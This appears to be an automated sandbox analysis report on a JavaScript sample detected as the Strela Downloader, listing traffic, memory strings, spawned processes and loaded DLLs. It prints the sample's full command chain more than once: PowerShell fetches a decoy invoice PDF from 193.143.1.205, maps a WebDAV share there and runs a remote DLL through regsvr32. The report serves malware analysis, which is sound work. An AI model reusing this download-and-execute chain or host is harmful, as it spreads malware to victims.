HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1498622839.00000182D5B78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1557732860.000001F7301CF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1558177490.000001F730178000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1557798114.000001F7301AC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1558226580.000001F7301AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1558177490.000001F730178000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s64
Source: svchost.exe, 00000009.00000002.2774287723.0000016355400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1564964637.0000016355340000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6560, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1353125634235611874.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4472:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vleafor0.njf.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1353125634235611874.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2284 --field-trial-handle=1620,i,6174676368958493987,11280257387493683627,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26555284128562.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2284 --field-trial-handle=1620,i,6174676368958493987,11280257387493683627,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
